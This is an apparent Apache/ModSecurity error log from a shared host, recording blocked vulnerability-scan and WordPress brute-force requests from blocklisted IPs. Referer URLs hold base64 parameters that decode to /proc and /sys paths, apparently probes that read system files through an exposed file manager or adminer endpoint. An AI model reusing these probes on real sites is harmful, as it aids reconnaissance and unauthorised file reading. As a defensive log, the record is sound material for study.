https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:11:13.241260 2026] [security2:error] [pid 531797:tid 531917] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xocTA7b1mZrmcA-8q0gACUTU"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:13.350031 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:13.350322 2026] [access_compat:error] [pid 531797:tid 531956] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:13.591543 2026] [security2:error] [pid 531155:tid 531269] [remote 17.241.219.46:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoSmiP80klyS0Nnr8yQABNXE"] [Sat Jun 13 18:11:13.638751 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.8:51683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:13.639183 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.8:51683] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:13.670084 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.90:51682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:13.670552 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.90:51682] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:13.714844 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.59:25275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:13.715272 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.59:25275] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:13.731319 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMDMwMzowMC9zdWJzeXN0ZW0= [Sat Jun 13 18:11:13.731597 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMDMwMzowMC9zdWJzeXN0ZW0= [Sat Jun 13 18:11:13.803400 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.91:47264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:13.803695 2026] [access_compat:error] [pid 531797:tid 531934] [remote 57.141.14.91:47264] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:13.871608 2026] [security2:error] [pid 531797:tid 531953] [remote 17.22.253.64:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 64.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xocTA7b1mZrmcA-8q6wACF1k"] [Sat Jun 13 18:11:14.100160 2026] [security2:error] [pid 531155:tid 531266] [remote 17.241.75.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoimiP80klyS0Nnr82QABMG4"] [Sat Jun 13 18:11:14.280493 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:11:14.280816 2026] [access_compat:error] [pid 531155:tid 531267] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:11:14.374876 2026] [security2:error] [pid 531155:tid 531158] [remote 17.246.15.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoimiP80klyS0Nnr84QABUgI"] [Sat Jun 13 18:11:14.616997 2026] [security2:error] [pid 531155:tid 531176] [remote 17.22.253.26:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xoimiP80klyS0Nnr86QABSBQ"] [Sat Jun 13 18:11:14.701725 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.69:26200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:14.702179 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.69:26200] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:14.779301 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:14.779588 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:14.822814 2026] [security2:error] [pid 531797:tid 532048] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/math/round_basiclong_64bit.phpt"] [unique_id "ai3xosTA7b1mZrmcA-8q-wAAAkY"] [Sat Jun 13 18:11:15.033070 2026] [security2:error] [pid 531797:tid 531922] [remote 17.22.245.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xo8TA7b1mZrmcA-8rAgACdjo"] [Sat Jun 13 18:11:15.033429 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:15.033878 2026] [access_compat:error] [pid 531797:tid 531965] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:11:15.235791 2026] [security2:error] [pid 531797:tid 531948] [remote 185.162.127.214:52082] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 214.127.162.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "whconsults.com"] [uri "/wp-login.php"] [unique_id "ai3xo8TA7b1mZrmcA-8rCAACelQ"] [Sat Jun 13 18:11:15.299449 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:15.299746 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:15.313970 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.42:37926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:15.314278 2026] [access_compat:error] [pid 531155:tid 531257] [remote 57.141.14.42:37926] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:15.321824 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.109:23550] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:15.322254 2026] [access_compat:error] [pid 531797:tid 531978] [remote 57.141.14.109:23550] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:15.346949 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.45:43134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:15.347392 2026] [access_compat:error] [pid 531155:tid 531169] [remote 57.141.14.45:43134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:15.797177 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:11:15.797451 2026] [access_compat:error] [pid 531155:tid 531191] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvcG93ZXI= [Sat Jun 13 18:11:15.850291 2026] [security2:error] [pid 531155:tid 531314] [client 220.181.108.83:12607] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "thenerdistheword.ca"] [uri "/index.php/tag/the-conjuring-2/"] [unique_id "ai3xoymiP80klyS0Nnr9CwAAASc"] [Sat Jun 13 18:11:16.112763 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.95:36287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:16.113212 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.95:36287] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:16.131332 2026] [security2:error] [pid 531797:tid 531900] [remote 17.241.227.55:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 55.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpMTA7b1mZrmcA-8rHAACXCQ"] [Sat Jun 13 18:11:16.190718 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.89:34462] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:16.191176 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.89:34462] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:16.333323 2026] [security2:error] [pid 531155:tid 531196] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/app/Services/SparkPostService.php"] [unique_id "ai3xpCmiP80klyS0Nnr9GwABaig"] [Sat Jun 13 18:11:16.377419 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:16.377870 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:11:16.429488 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:11:16.429919 2026] [access_compat:error] [pid 531797:tid 531963] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNzQx [Sat Jun 13 18:11:16.456537 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.102:40789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:16.456829 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.102:40789] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:16.615318 2026] [security2:error] [pid 531797:tid 532114] [client 129.227.46.150:53096] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.46.227.129.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "esvarbon.gov.ng"] [uri "/wp-login.php"] [unique_id "ai3xpMTA7b1mZrmcA-8rJwAAAoc"] [Sat Jun 13 18:11:16.704919 2026] [security2:error] [pid 531797:tid 531973] [remote 17.22.237.23:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 23.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xpMTA7b1mZrmcA-8rKAACjGw"] [Sat Jun 13 18:11:16.745071 2026] [security2:error] [pid 531797:tid 531892] [remote 17.241.75.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file 